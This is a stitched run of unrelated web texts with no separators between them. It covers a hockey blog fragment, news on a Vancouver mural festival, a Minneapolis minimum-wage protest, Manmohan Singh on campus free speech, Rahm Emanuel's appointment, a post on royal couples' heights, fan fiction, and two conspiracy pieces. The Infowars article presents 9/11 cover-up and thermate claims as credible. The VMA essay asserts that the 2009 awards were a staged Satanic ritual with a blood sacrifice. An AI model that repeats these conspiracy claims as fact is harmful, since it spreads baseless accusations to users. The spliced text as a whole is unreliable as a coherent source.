Sheldon Keefe has some things to accomplish. He's got to bring Nylander back into the lineup; he's got Connor Brown chomping at the bit to play—and he was as guilty as any guy out there of sloppy defensive errors. He might have Josh Leivo—who had as many shots on goal on Saturday as he had shots of any kind in 4 games for the Leafs—and who made a lot of sloppy definsive errors.
Keefe's also got Mark Arcobello and T.J. Brennan, who need to see a carrot on the end of the stick or they might stop carrying the goal-scoring burden for the team most nights. (Between the pair of them they have 19% of the Marlies goals. Add in Nylander and Leivo, and you get to 34%. The offence isn't quite so spread out on this team as we tell ourselves.)
Keefe's got to get them all to tighten up and play better than they need to. And he has to convince them it's for their own good. Because it is.
So far, he's been very good at doing that. Let's see if he can keep doing it once the All-Star Break is over.Mount Pleasant is about to get a lot more colourful.
The inaugural Vancouver Mural Festival is taking place on August 20, changing the physical landscape of the Main Street neighbourhood. Presented by Create Vancouver Society, and in partnership with The City of Vancouver, Mount Pleasant Business Improvement Area, and the Burrard Arts Foundation, the one-day festival is expected to attract close to 100,000 attendees, celebrating over 35 murals around the Main Street area.
The ambitious initiative was an idea developed by founder and executive director of the festival, David Vertesi, who began working on the project two years ago.
“I’m a huge fan of street art, mural art, and public art,” Vertesi told Daily Hive. “I really fell in love with the concept that you can do something and it can actually – physically – change the fabric of the city. I thought it was an amazing opportunity because I saw so many artists here and there’s so much untouched space.”
Vertesi is no stranger to the local art scene. As a member of the band Hey Ocean, he’s been a vital member in the Vancouver music community.
“I’m not a visual artist, I’m a musician,” Vertesi admits. But his love for music also developed into a love for local support when he began an annual fundraiser called Sing It Forward six years ago. Through his effort over the years, they raised over $200,000 for St. James Music Academy in the Downtown East Side. And from his music background, Vertesi wanted to get more people involved in the general arts scene.
“It was a matter of being the change you wanted to see. I really wanted make a positive impact on the community and help create something that belonged to everybody not just be something that I’m doing. It’s meant to be something people to get involved in,” he said. “You have to give people meaningful experiences that have tangible results.”
And in order to get the Vancouver Mural Festival off the ground, Vertesi reached out to the local community to get as many people involved as possible. When he first proposed the idea, he said that most people thought it couldn’t be done. “But this kind of stuff doesn’t happen in Vancouver. The City will never let it happen,” were some of the reactions he said he got. But surprisingly, with the support of the local community, when he did engage with the City of Vancouver, he said they were supportive.
“They wanted it to happen too. The City has a mural support program. If you get permission from an owner to do a mural, they have money there to support you to do that. People don’t know about it,” Vertesi said. With the support from Kathleen Llewellyn-Thomas, Manager of Community Services, and Richard Newirth, Managing Director of Cultural Services, the Vancouver Mural Festival transformed from a concept to reality.
“I’m hoping this festival provides a catalyst and a yearly platform for people to feel inspired,” he said.
As a start for the inspiring project, the team is focusing on the Mount Pleasant and Main Street neighbourhoods – which is where the festival will be taking place.
“Mount Pleasant and Main Street have really become a cultural heart of the city. That’s why we are focused there. And besides the murals, there’s a music component as well. So there’s other stuff that we are able to do in that area,” Vertesi said.
The August celebration of arts includes a Truckstop Tailgate Party at the Red Truck Brewery on East 1st Avenue, and an evening club music series presented by 102.7 The Peak, featuring renowned artists playing intimate shows, including Andrew WK who plays the Cobalt and Shad at the Biltmore. All evening shows will cost $10.27, as it is supported by the event sponsors.
“The concept was to do a club series in the evening that involved getting big bands into small rooms for really memorable performances,” Vertesi said, and with those venues, it certainly will be memorable.
With the art focused on Main Street, Vertesi said they will be looking into other neighbourhoods in the future. “We were trying to have some more satellite points. We have a project over on East Cordova this year that we’re working on, with nine murals in total. We’re looking to do that every year, get into other neighbourhoods, but I think as far as the festival goes, the hope is to be creating 20 murals at least every single year and expanding the footprint out from there.”
Local artist Scott Sueme will be creating the festival’s largest mural, which will be painted on the front of Hootsuite’s HQ (the old CSIS building). Sueme started as a graffiti artist in 2002 and is excited to be doing work in his own backyard.
“It’s something that has always been talked about happening in Vancouver,” Sueme said. “Internationally, there are these festivals that take place in other cities around the world, and it’s always such an eye opening experience. But to have it in Vancouver, it’s a big deal for the city and all the artists involved.”
Sueme’s art will be his largest mural to date. As for what it will be, he’s keeping it a surprise for now. “People should be excited. It’s something that will hit them as the festival is going on because it’s definitely going to change the landscape of Mount Pleasant. To have it all happen at once is going to be quite the experience,” he said.
The art will begin to take place later this month and in early August, leading up to the festival. “I feel like Vancouver is going to be blown away by its own talent,” Vertesi said. And once this year’s event is over, he hopes to talk to the City and partners again to continue the Vancouver Mural Festival on an annual basis.
“Vancouver has such a great arts scene, but it’s all been indoors until now. It’s been behind closed doors. We’re hoping to transform the way people see it and we’re hoping to blow the doors wide open,” he said.
The Vancouver Mural Festival takes place August 20.
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Yasmin Aboelsaud Yasmin is the Toronto City Editor at Daily Hive. She enjoys coffee, brunch, and travel. When she's not at the office, she's generally travelling, brunching, and drinking coffee. Her office plant needs a name, so feel free to send suggestions. @Missadvanture Yasmin is the Toronto City Editor at Daily Hive. She enjoys coffee, brunch, and travel. When she's not at the office, she's generally travelling, brunching, and drinking coffee. Her office plant needs a name, so feel free to send suggestions.
Please enable JavaScript to view the comments powered by Disqus.Calling for a $15 minimum wage, paid sick leave, predictable scheduling and better treatment from employers, hundreds of hourly workers and labor advocates marched through Minneapolis on Tuesday, ending their protest with a two-hour demonstration at City Hall.
The protests were held in sync with a larger strike of hourly workers in dozens of cities across the country, and local organizers said workers walked out of about 70 Minneapolis businesses on Tuesday morning.
The demonstrators in Minneapolis pointed to both the national campaign for a higher minimum wage and the local battle that has erupted over a slate of workplace reforms proposed —and then paused — by the mayor and council.
It was the third time in recent months that workers’ groups have descended on City Hall to call for higher wages and other benefits. Each time, the message has been the same: better pay and benefits will help erase gaps between the rich and poor, and white and minority workers.
Michael McDowell, an organizer with the labor group Centro de Trabajadores Unidos en Lucha (CTUL), stood on the marble steps in the City Hall rotunda, rallying the crowd.
“This is a great place to raise a family,” he said.
“If you’re white!” interjected a protester.
“If you’re white — that’s right,” McDowell said. “Workers are saying they won’t take it anymore. They want equity. They want justice.”
Speakers pointed to the City Council’s recent decision to scale back a set of reforms known as the Working Families Agenda. A plan that initially included sweeping scheduling requirements and paid sick leave for all Minneapolis businesses was tabled after getting considerable push back from business owners.
The sick leave proposal continues to move forward, though on a slower track. The council is currently forming a new, 15-member work group that will come up with a recommendation by February. Appointments to the committee will be made from a field of 77 applicants.
Mayor Betsy Hodges has said she does not support a citywide minimum wage increase, but the council has approved funding for a study of how such an increase could impact the local economy.
Guillermo Lindsay, a Roseville McDonalds employee who was one of those on strike Tuesday, said smaller increases don’t do enough. Lindsay said he’s worked in fast food for 12 years and wants to see big corporations like his employer do more to share their profits with the lowest-paid workers. Currently, he makes $9.25 per hour.
An increase to $15, he said, was the least they could do: “$7.25, $8.25 even $9.25 doesn’t help pay the bills anymore,” he said.
Some in the crowd said they were upset with city leaders who had courted their votes with “buzzwords” like “equity” — and then not voted for the workplace laws.
Kandace Montgomery, an organizer with Black Lives Matter, urged people in the crowd to run for office.
“You have to do more than just say stuff on Facebook and social media,” she said.
David Wiester, who works in surgical support at a hospital, said he has a good job and good benefits, thanks to his union. But he said it was important for him to stand alongside with people who don’t have as much.
“I’ve been part of the working poor,” he said. “I believe they have the right to make a good living.”
Hermelinda Juares, a fast food worker for the last 13 years, said she wants to see workers be able to earn sick leave and vacation time, along with a bigger paycheck. She said she’s confident those changes will happen because of the number of people pushing for them and the “strength” the movement has shown.
Near the end of the demonstration, after a march through City Hall, several speeches and a musical performance, Nekima Levy-Pounds, president of the Minneapolis NAACP urged the protesters to return.
“You have to keep coming back to City Hall,” she said. “Don’t let them shut you down. If anything, it’s up to us to shut down business as usual.”Independent thinking and free expression in Indian universities "are now under threat", former Prime Minister Manmohan Singh today alleged, targeting the Centre.
He expressed concern over growing neo-nationalist tendencies in India terming it an "extremely destructive" trend.
The Congress leader said the recent attempts to interfere with free expression of the student community in Hyderabad Central University and Jawaharlal Nehru University (JNU) were of particular concern and termed suppression of peaceful dissent as "inimical to learning" and undemocratic.
Also read: Congress letter bomb: Manmohan called jallikattu 'cruel' in 2015, party calls protest legitimate now
Speaking at the bicentenary celebrations of the Presidency University in Kolkata, 84-year-old Singh said, "We are witnessing a rise in new nationalist tendencies responding to populism and directing hatred against backward classes and minorities."
"Regrettably, independent thinking and free expression in Indian universities are now under threat. Attempts to suppress peaceful dissent are not only inimical to learning but also undemocratic."
"True nationalism is found where students, citizens, are encouraged to think and speak freely where dissents are encouraged and not suppressed. It is only by constructive engagements we can truly build a stronger, more cohesive and sustaining democracy in our country," Singh said and also made a veiled reference to Hyderabad University student Rohit Vemula suicide issue.
Also read: Worst is yet to come: Ex-PM Manmohan Singh on Modi's demonetisation
The former PM said that political interference in universities and in appointments in academic institutions was highly short-sighted.
"We must make very effort to protect the autonomy of our university and to foster the right of our students to express ideas," he said.
Amidst the growing debate over nationalism in the country, Singh advised youngsters to indulge in "constructive engagements". "True nationalism is when students are encouraged to think and speak freely, where dissent is encouraged and not suppressed. It is only by a constructive engagement can we truly build a stronger, more cohesive and sustaining democracy in our country," he said.
Also read: Manmohan Singh tears into Modi's demonetisation, calls it monumental mismanagement
Cautioning that such tendencies can be extremely destructive, the former Prime Minister stressed on the need to protect free speech, adding that independent thinking in India was under "threat" at present.
Singh said, "We are witnessing around the world a rise of nationalist tendencies, populism and hatred against backward classes and minorities in disregarding reason and rationality but these tendencies could be extremely destructive.
He emphasised, "We must protect India from this trend and universities have a vital role in this regard."
Singh, who wanted to be a teacher but got into politics by accident, said, "I believe that every university must give the freedom to pursue knowledge even where the knowledge may be at odds with established intellectual and social traditions. We must guard this freedom very zealously."
Also read: Demonetisation a mammoth tragedy, says Manmohan Singh
(With inputs from: PTI)0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Barack Obama scored a key appointment for his administration today, as it is being reported that Rep. Rahm Emanuel has agreed to be Obama’s Chief of Staff.
Politico is reporting that Emanuel has taken the job, and Tom Daschle was the runner up. Emanuel bring a blend of both White House and congressional experience. In the House of Representatives, he is the fourth highest ranking Democrat. As chairman of the Democratic Congressional Campaign Committee, he was the man behind the strategy that led to the Democratic takeover of the House.
What made him especially appealing to Obama was likely the fact that he has executive experience having served as a senior advisor to President Clinton. The fact that Obama considered Emanuel and Daschle signals that he plans on working closely with Congress. The early signs are that Obama is focused on getting things done and passing legislation. This would be a dramatic shift from the gridlock that has existed in Washington since the Republican Revolution in 1994.
Emanuel did think for a day about whether or not to take the job. Wednesday night, he told Chicago TV station WLS, “I do know something about the White House and I have children now. I have a family. This is not a professional choice. This is a personal choice.” He probably needed to think this over, because he has a great position in the House, and taking the job means uprooting his family, and moving them to Washington for at least a year or two.
In the end, this was probably too big of an opportunity for him to pass up. As Obama’s chief of staff, he will be one of the most powerful people in the capitol. He will also have a big role in keeping things running, and shaping legislation on the hill. If Obama wants to hit the ground running, Emanuel was his best choice. He knows both sides of the fence, so having him in such a crucial position gives the new president the luxury of an experienced person who can help implement his agenda quickly.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:A quick Google image search suggests that Prince William and the to-be Princess Duchess of Cambridge Kate Middleton conform to Western culture’s expectation that a man be sufficiently taller than his woman. Not so for Prince Charles and Princess Diana. In light of today’s royal nuptials, I thought I’d re-post this fav of mine. Originally cross-posted at Jezebel.
In the U.S. and the U.K., one of the most unbreakable rules of mating involves height. He must be taller than her, preferably significantly taller. Men and women often pick one another in such a way that any given couple follows this rule even if, given random assortment, some couples would involve women who the same height or taller than their male partners.
Rumor has it, though I can’t prove it, that Hollywood routinely puts leading men in platform boots or on stools so that they appear appropriately tall relative to their leading ladies.
Philip Cohen, however, alerted me to a case that can be nicely shown: Prince Charles and Princess Diana. As these photographs show, Charles was about the same height as Diana, perhaps even shorter.
(Daily Mail)
When Charles and Diana were posed together formally, however, they were typically arranged so as to suggest that he was significantly taller than her, or at least to disguise the fact that he was not.
A photo from their engagement announcement with Charles on a step behind her:
(BBC)
And more:
(Family Inequality)
This effort to make Charles appear taller is a social commitment to the idea that men are taller and women shorter. When our own bodies, and our chosen mates, don’t follow this rule, sometimes we’ll go to great lengths to preserve the illusion.“Progressive” Washington Think Tank Censors All Independent 9/11 Research; ‘Project Censored’ watchdog was told that nothing about 9/11 will be published
Steve Watson
Infowars.net
Wednesday, Sept 21st, 2010
The director of a prominent investigative journalism group has told reporters that the organisation’s work is being censored because it continues to highlight stories surrounding questions over the official explanation of events on the 11th of September 2001.
Project Censored is a long running non-profit national media watchdog group that was founded in 1976 by journalism professor Carl Jensen.
It is operated out of the School of Social Sciences at Sonoma State University, with both faculty and students involved in its preparation.
The project’s core directive is to highlight newsworthy stories that have been overlooked, ignored or actively censored by the corporate mainstream media.
The organisation publishes a volume of what it believes are the 25 most significant of these stories every year. The stories often originate from alternative media researchers and independent sources. The results are published in some major newspapers and journals.
In 2004 Infowars’ own Alex Jones was awarded second place at the Project Censored Awards for his unparalleled analysis of Patriot Act II, the freedom stripping follow up legislation to the first Patriot Act, passed after 9/11. The commentary subsequently appeared in hundreds of newspapers and other online media resources thanks to the diligence of Project Censored in shining a light on the issue.
According to its directors, the group’s work is being made more difficult now, however, due to censorship of Project Censored because of its ongoing commitment to cover 9/11 Truth stories.
9/11 Truth issues have made the top 25 Project Censored awards frequently over the past nine years.
A d v e r t i s e m e n t
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Last week, Project Censored directors Dr. Peter Phillips and Mickey Huff explained the difficulties to KPFA’s Guns and Butter broadcast, a favourite “progressive” talk radio show in the San Francisco Bay Area.
They noted that for the first time, pieces they had submitted to publication outlet Minuteman Media on the evidence for a cover up of the truth surrounding the 9/11 attacks had been actively rejected. Huff explained that since Minuteman media had been taken over by a left leaning Washington Think Tank called The Institute for Policy Studies, the subject has been blackballed:
“We’ve never had an op-ed piece that we were contracted to do rejected, outright rejected, and it wasn’t just rejected because of some contractual issue or violation,” Huff said. “We were actually told specifically from people at IPS that it was because we mentioned 9/11 as part of a piece on state crimes against democracy.”
“What we’re suggesting is that the events of September 11th have all the trappings of a potential state crime against democracy.” Huff continued. “So we mentioned the scientific studies done by Stephen Jones and the open chemical physics journal, and we included Richard Gage and the Architects and Engineers group, 1200 experts now saying that the official science just doesn’t make sense and just doesn’t add up, I mean it defies everything we know about scientific methodology and so forth.”
“They literally told us that they were not going to publish anything that talked about 9/11.”
“We were dumbfounded, at first we were waiting for the laughter tracks to come up and be like ‘Oh we’re censoring Project Censored’, but they were deadly serious.” Huff stated.
Having A Supply Of Healthy Foods That Last Just Makes Sense
But that is not where the matter ended. Huff then explained that after being informed by IPS that their pieces on 9/11 were “too divisive” and could “alienate readers in the heartland”, they discovered, upon attending the IPS annual conference, that IPS staff had no knowledge of these developments and after reading the piece, were of the opinion that it should have run.
Eventually, the Project Censored team were informed by IPS heads that they were no longer welcome to write for IPS or Minuteman Media.
“And here we are with ‘the good lefties’,” Huff continued, it’s a story of the power elite, of potential mass deception and propaganda that gets us into two illegal wars, eviscerates constitutional liberties, bankrupts society both economically and morally the world over, you’d think that it’d be a huge thing to debate on the merits of science and fact.”
“If you have a free press structure, there is no subject that cannot be discussed.” Huff added.
Listen to the interview below (The 9/11 information begins at around 10 mins):
Guns and Butter – September 15, 2010 at 1:00pm
Click to listen (or download)
Guns
and Butter – September 15, 2010 at 1:00pm
Click to listen (or Click to listen (or download
This is not the first time Project Censored has run into resistance owing to its refusal to back down on 9/11 Truth.
In 2007 Judges Robert Jensen, a journalism professor, and Norman Solomon, a syndicated columnist, severed their ties with the national media watchdog group over its decision to highlight the work of physics professor Steven Jones, who has provided analysis that suggests the explosive thermate was present in debris from the collapsed twin towers.
At the time Peter Phillips told the Illinois Times that he believed Jones’ work warranted the recognition:
“It’s a valid news story,” Phillips said. “It deserves to be covered. We cover stories that people don’t like. Our job is to talk about stories that don’t get talked about.”
——————————————————————
Steve Watson is the London based writer and editor at Alex Jones’ Infowars.net, and regular contributor to Prisonplanet.com. He has a Masters Degree in International Relations from the School of Politics at The University of Nottingham in England.Welcome! Come in and visit awhile...
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understood the hidden meaning, and Ryouko wondered why the girl didn't just use telepathy.
"Yes, I understand," she said.
She took a breath, stalling for time.
"Well, it's an interesting offer," she continued, providing what was only the truth, "but what exactly will I be doing there? Visiting some facilities and talking to some directors?"
"Well, not just that," Maki said smoothly. "You'll probably be talking to the writers, marketers, pretty much everyone involved who would want to talk to you. Have you heard of Elisa Yamada?"
Behind her, Ruiko made an odd, choked noise.
"No?" Ryouko said, tilting her head. "I'll look it up."
"No, no, don't worry about it," Maki interrupted. "She's the actor who will be playing you in the movie. She'd just like to learn some things from meeting you in person."
"Ah," Ryouko said blankly. "That makes sense."
"Anyway, it's not all work," Maki said. "There will be plenty of time for you to explore the city and enjoy yourself. MSY Finance has agreed to pay out a substantial reimbursement for your stay, so you will have no lack of Allocs while there."
"Uh‐huh," Ryouko said emptily. Why hadn't Clarisse been mentioned yet? According to Joanne, Clarisse was part of the point of the trip, but Maki had yet to say a word about it.
"They'd like you to think of it as a vacation rather than an obligation," Maki said, smiling brightly. "Speaking personally, it's a great deal, and the city is absolutely beautiful. I don't know why you'd turn it down."
Ryouko did her best to avoid wearing her feelings on her face, even as she wanted to shake her head at the insanity of it all.
Another offer I can't turn down, she thought, directing it both at Asami and Clarisse. Instead of settling for the languid pace of usual human communication, she pushed the thought out at combat speed, so that they could try to discuss the matter in time with the conversation.
Well, the motives of the Matriarchs involved here are clear, Clarisse thought. But they're also not really trying to hide it. They've made sure it profits you as well as profit them. They seem very good at making it illogical to turn them down.
Clarisse made sure to relay the thought to Asami as well, by traditional electronic means.
Yes, Ryouko thought. But at some point you have to start wondering whether what they get is more valuable than what you get. Letting myself get constantly convinced like this can lead to bad places.
Yes, but it's also true that up until now you didn't know what you were going to be doing with this time, Clarisse thought. Whatever offer they try to make you can always be turned down. I wouldn't be too concerned quite yet, but in the future it might be better to have something ready to do so they can't come up with something for you.
I'm fifteen, Ryouko thought. What am I supposed to have ready? And I literally just got out of the tank.
She realized abruptly that she hadn't really felt fifteen for a long time, though. Heck, she hadn't felt that young a single time since what had ostensibly been her birthday.
I know, Clarisse thought. I wasn't saying it'd be easy, I was just saying the obvious.
Well, for my part I would be for just going, Asami thought. I know why you're worried, but I mean… I would have to say just take what they give you for now, and worry about their offers later. And it will be a fun trip, no matter what, even if I really prefer nature to the city.
Honestly, I'm not sure there isn't a hidden stick here too, as well as a carrot, Clarisse thought. Given your status after the whole wormhole thing, I'm sure Governance would love to use you for some kind of propaganda purpose. They might very well be involved in all this. I suspect the main reason you haven't already been shoved into public appearances is respect for how young you are.
There was an expectant pause, as Ryouko sensed Clarisse was ruminating on her next comment.
Are you sure you want the world to know I exist, though? Clarisse thought. That's what would happen if we let them do the movie the way Joanne Valentin was talking about.
Isn't that something you should be worried about? Ryouko thought.
Yes, but it also affects you, Clarisse thought. People might look at you differently. Your friends might look at you differently.
Ryouko narrowly avoided casting an eye at Chiaki and Ruiko.
I hadn't thought of that, she thought.
You haven't been thinking about it, period, Clarisse thought.
My natural inclination is to say it's up to you, Ryouko thought. I suppose I'll just have to deal with the consequences. What is your opinion, anyway?
I don't know. I've been avoiding thinking about it too. I suppose there'll be time to think about it now, though.
Not if I have to make this decision now! Ryouko thought, frustrated, even as she realized that the last statement had been one of the most human things she had ever heard Clarisse say.
Heck, I don't see why not, Kyouko thought, interjecting herself into what had clearly started to become a long discussion, even with acceleration. Someone of your age needs to explore her options, right? I mean, I'm not a fan of Shizuki or Kuroi by far, but it's your life. And if you end up spending all day stuck in the Paris party houses I promise I'll come drag you out.
Ryouko let out a breath, aware that Maki and the others were still looking expectantly at her for a comment.
"You don't have to make a decision right now, of course," Maki said. "It's a bit of an open‐ended offer, though of course eventually your leave time from the military is going to end."
"No, that's okay," Ryouko said. "I'd obviously like an opportunity to talk it over with my parents first, but that probably won't take more than a day. It sounds like a great opportunity, so I'm definitely inclined to take it."
"That's great!" Maki said, quite sincerely.
Ryouko did her best not to let a frown show on her face.
Thus far, she couldn't deny that she was getting to explore the world, but was Paris really somewhere no one else had ever been before? Obviously not.
But X‐25 had been, and maybe her wish was just biding its time. After all that had happened, she couldn't deny that she was being given opportunities no one else was. It just seemed to come with a sizable helping of being entangled inextricably with the undercurrents of the world around her. Shizuki, Kuroi, the Mitakihara Four, whoever had tried to kill her, and even the Goddess herself seemed determined to weave her into their plots.
Well, you asked to see the world, Clarisse thought. Maybe you're just being shown another facet of it.
I suppose that makes sense.
"Well, let me know by tomorrow then, okay?" Maki said. "You can just send me a message. I'll leave you all alone then."
The girl got up and walked away, Kyouko trailing her a few seconds later.
Kishida Maki was only about a decade older than her, but seemed so much better put together, so much more in tune with what she wanted out of life. Ryouko couldn't help but hope that she could get like that too, someday.
"You are sooo lucky," Ruiko said, once Maki and Kyouko were out of earshot. "Getting to go to Paris and meet Elisa! I can't even try to imagine it without swooning."
"Yeah," Ryouko echoed.
Nadya had wanted to meet in St. Petersburg, among the angelic statues of the mountain‐sized Memorial Tower, which looked like it had been dreamt up by a crazed, drunken tsar determined to build his own Tower of Babel. Instead, Clarisse had insisted on meeting in a boring café in Paris, giving her usual vague reasons about historical vibrations or something like that.
So here they were, Clarisse politely letting her take a swig of her drink before pinning her with those pretty violet eyes of hers.
"I wanted you to take a look at this," she said.
Nadya sighed lightly. She had wanted to settle in a bit more.
"What is it?" she asked, tilting her head slightly.
Before Clarisse could answer the question, Nadya glanced away for a moment, turning in her chair to give a rude gesture to a passing pedestrian.
She turned back to find Clarisse laughing at her behind one hand, lady‐like and demure in a casually affected kind of way.
"These French are so judgmental," Nadya complained. "So what if I want to drink in the afternoon? In Russia no one would bat an eye. I think at my age I've earned the right to have a few drops."
Clarisse smiled.
"You misunderstand, Nadya. They don't mind the alcohol, only that you are drinking vodka rather than wine."
"As I said, judgmental."
Clarisse laughed quietly, and the color that rose in her cheeks served to accentuate her freckles.
"Well, anyway, what is it?" Nadya asked.
Instead of answering in speech, Clarisse merely looked her in the eye, and a small file arrived in Nadya's secure mail a moment later.
Some of my contacts in the Telepaths' Guild came through for us, Clarisse thought.
Nadya frowned, taking a look at the plain, unornamented text file, a rarity in these decadent days.
GRACIA PEREZ: "I do not agree with this conclusion. I have observed her for months now, and I am almost certain she has undergone a Reformat."
COUNCILOR 4: "The MHD, as well as our investigators, have noted the same anomalies you have, and have concluded that they are idiosyncratic."
GRACIA PEREZ: "Again, I do not agree. They do not know her as I do."
COUNCILOR 2: "Unauthorized Reformatting is a serious offense, if it could be proven."
COUNCILOR 3: "But it is more common than we like. Might Miss Virani have sought out a Reformat for self‐therapy?"
GRACIA PEREZ: "I refuse to believe so. It is not like her, and the MHD shares my assessment that it does not suit her personality."
COUNCILOR 4: "Well, what evidence do you have to dispute our investigators? We cannot just take your word over theirs. If they say she has not been mind‐altered, then we cannot dispute that without further evidence."
GRACIA PEREZ: "I am sorry. I can only go on my previous assertions."
COUNCILOR 5: "The Guild has already spent substantial resources attempting to verify your allegations, Miss Perez. It does not seem that this Council is amenable to further expenditures, I am sorry to say. Your request is denied."
Nadya looked up at Clarisse, eyes conflicted.
"Why didn't she ever tell me if she thought something like this might be true?" she asked, referring to Gracia.
"The Telepaths' Guild is extremely secretive," Clarisse said, "and for good reason, I might add. She is too young to run the risk of talking to you. I wouldn't be offended."
Nadya shook her head, not because she thought Clarisse was wrong, but out of dismay.
"Is there more to this than just this excerpt?" she asked.
The Guild lost most of these transcripts in an incident a few years back, Clarisse thought. Someone wiped a large portion of the records from that month, and they still have not solved the mystery. It probably doesn't have anything to do with this—there are plenty of people who might want to destroy some of the Guild's secrets—but it does mean this excerpt is all that exists. If we want more, we will probably need to ask Gracia ourselves. I thought that you'd be the appropriate person to do that.
"I am," Nadya agreed.
She gulped down what remained of her vodka in disgust, straight down the throat.
"I don't like it," she said.From unexpected drama to shocking performances, MTV’s 2009 Video Music Awards managed once again to raise eyebrows and get people talking. What most people missed, however, were the occult meanings encoded in the VMAs. The TV event was in fact a large scale occult ceremony, complete with an initiation, a prayer and even a blood sacrifice. We’ll look at the symbolism that appeared during the show.
MTV’s Video Music Awards have often incorporated dark and strange acts, containing some occult symbolism. This year’s version, however, outdid itself. The show left most people wondering what was wrong with Kanye West or trying compute the madness of Lady Gaga’s performance. The only way to understand the full meaning behind those performances is to look into esoteric teachings. The fact is that the whole awards show took the most common rituals of occult orders and re-enacted them in a show witnessed by the entire world.
This year’s VMA’s were very different from other awards shows. They focused on a very limited number of artists (Beyonce, Taylor Swift, Lady Gaga), while ignoring many others who were equally successful. The “chosen” artists became characters in the VMA’s ceremony and acted out different ritual dramas. This might sound totally crazy to the average MTV viewer but those acquainted with the practices of occult orders (such as Freemasonry) can decode the references to sacred rituals. There are numerous types of fraternities and rituals, from the most noble to the most infernal, and they have existed throughout History. The VMAs were decisively inspired by dark, sinister and even Satanic ceremonies. Let’s look at those rituals.
The High Priestess’ Words of Wisdom
Madonna, the music industry’s High Priestess, the revered “elder” of MTV, opens the show with a very solemn eulogy for Michael Jackson. She admitted never really knowing or “connecting” with him, but she was still chosen to pay him tribute. Madonna is a well known and publicized adept of the Kaballah, the esoteric school of Judaism which is studied in most occult orders. Rabbi Ariel Bar Tzadok explained how she uses (or abuses) Kaballah symbolism in her music:
“I discovered that Madonna’s famous dabbling with sacred Jewish mysticism has taken an interesting turn. In her latest music video for the theme song of a new James Bond movie, the “material girl” of old is transforming herself into a “Kabbalah girl.” Aside from the traditional Madonna blend of music and sensuality, in this video we see Madonna has a Holy Name of G-d tattooed onto her right shoulder. Tattooing, mind you, is a practice forbidden under Torah Law, all the more so abhorred by the Kabbalah. Granted the tattoo may not be real or only temporary but nonetheless, any expression of performing a forbidden act is itself forbidden and inexcusable. Unfortunately, Madonna’s abuse of Kabbalah and traditional Torah Judaism does not stop here. Later in the video we see Madonna winding leather straps around her left arm in the exact same format and style as holy tefillin are worn by religious Jewish men. Tefillin consist of a small leather box containing scared parchments. These are then strapped to one’s left biceps, and the strap is wound down the left arm and around the hand. Granted Madonna did not go so far as to defame the tefillin boxes themselves. Yet, it is quite clear that the wrapping of the straps around her arm is done in orthodox Torah style. This act of hers is pure sacrilege.” -Rabbi Ariel Bar Tzadok, Madonna’s Kabbalah – Not Kosher http://www.koshertorah.com/PDF/madonna%20kabbalah.pdf
Madonna’s tribute focused on the fact that MJ was “otherworldly” and “a king” but she insisted on the fact that he was also a human being. It was wisdom that could only be imparted by the High Priestess. Members of the audience bowed their heads and meditated on her words. They had a deep Kabbalistic resonance. The speech was followed by a video tribute to Jackson, beginning oddly with ‘Thriller’ and displaying the face of MJ as a decaying zombie, risen from the dead, on a huge screen. We then hear Price’s verse in the song saying:
“Darkness falls across the land
The midnite hour is close at hand
Creatures crawl in search of blood
To terrorize yawls neighbourhood
And whosoever shall be found
Without the soul for getting down
Must stand and face the hounds of hell
And rot inside a corpses shell
The foulest stench is in the air
The funk of forty thousand years
And grizzy ghouls from every tomb
Are closing in to seal your doom
And though you fight to stay alive
Your body starts to shiver
For no mere mortal can resist
The evil of the thriller”
It is only fitting that MJ’s greatest was included in his tribute, but this did seem a rather gruesome way to start a posthumous tribute. Someone somewhere made some odd choices, but this somehow fitted the “vibe” of the rest of the show.
Taylor Swift’s Initiation
Taylor Swift wins the “Best Female Video” award and goes up on stage to give her thank yous. Kanye West pops out of nowhere, taking the mic from her hand, and informs her that Beyonce has “one of the best videos of all time“. This scene has caused much controversy and has earned Kanye the title of “Douchebag of the year” plus the honor of being called a “jackass” by the President of the United States. I might shock some people by saying this… but this “unexpected” event was… STAGED! There I said it. Did you ever watch a crappy reality show and had the gut feeling that the whole thing was scripted? Well, I’ve got an overload of that feeling while watching this scene. None of the people involved (not even Beyonce making her “I can’t believe this is happening” face) are good actors. Furthermore, I’ve been following Kanye’s career since his beginnings and I’ve retained one important fact about him: the only thing Kanye West cares about, is Kanye West. So if he had to throw a hissy fit about something, it would have been about him not winning. Not Beyonce. Him.
This scene is, in fact, Taylor Swift’s initiation into what I call “The Circle of Chosen Artists”. The pupil is humiliated in front of her peers and told that she is not worthy to be on the same stage as Beyonce, the queen of the ceremony. Almost all groups, fraternities and gangs carry out an initiation process to test the recruit’s character, strength, and worth. Swift’s ordeal was to have Kanye ruin her first award ever and to be told that she didn’t deserve this recognition. The rapper is known for bitching during award shows so he was the perfect candidate to make it all seem “unexpected”.
The Prayer
Jack Black comes out dressed as a heavy metal guy on s------s to promote a video game. At one point he asks the audience to put their devil horns in the air and the proceeds to pray to the “dark lord Satan”. The whole thing is light-hearted and comical but I don’t see any other way a prayer to Satan can be inserted into a primetime show without getting a truckload of complaints from “concerned parents”. The scene starts off semi-funny but Jack Black finishes off on a more serious note by saying: “I ask you to grant tonight’s nominees with continued success in the music industry“. This last phrase actually reveals a dark truth about the entertainment business.
So the net result of this scene is this: everybody threw up their “devil horns” hand sign, then took each other’s hands and prayed to Satan. This piece of pre-rehearsed comedy might have been an insignificant skit in another show. But in the context of this one, with its many recreations of occult rituals, the skit takes on a whole other, sinister meaning.
The Blood Sacrifice
Lady Gaga’s performance was hailed as “brilliant” by many music fans. If you, however, ask them what it symbolizes, their expression becomes questioning. Here’s what Gaga said about her performance during an interview at gagadaily.com
“Do you think it will be one of those defining moments people will remember at the VMAs?”
“I know it will. I sort of have this philosophy about things: there’s never a reason to do something unless it’s going to be memorable, unless it’s going to change things, unless it’s going to inspire a movement. With the song and with the performance, I hope to say something very grave about fame and the price of it.” “Something grave? What?”
“You’ll have to see.” “What are you going to wear? “
“I would say that the fashion for the performance is a representation of the most stoic and memorable martyrs of fame in history. It’s intended to be an iconic image that represents people. I think after watching the performance and maybe studying it after you watch it on YouTube, you’ll see the references and the symbols come through.”
The setting for the performance is very symbolic. Gaga performs in a temple or maybe an aristocratic mansion, complete with columns, chandeliers, and paintings. Occult rituals, mind control experiments and even human sacrifices have constantly been rumored to take place in those kinds of settings. One feature I cannot ignore is the presence of two massive pillars beneath an arch.
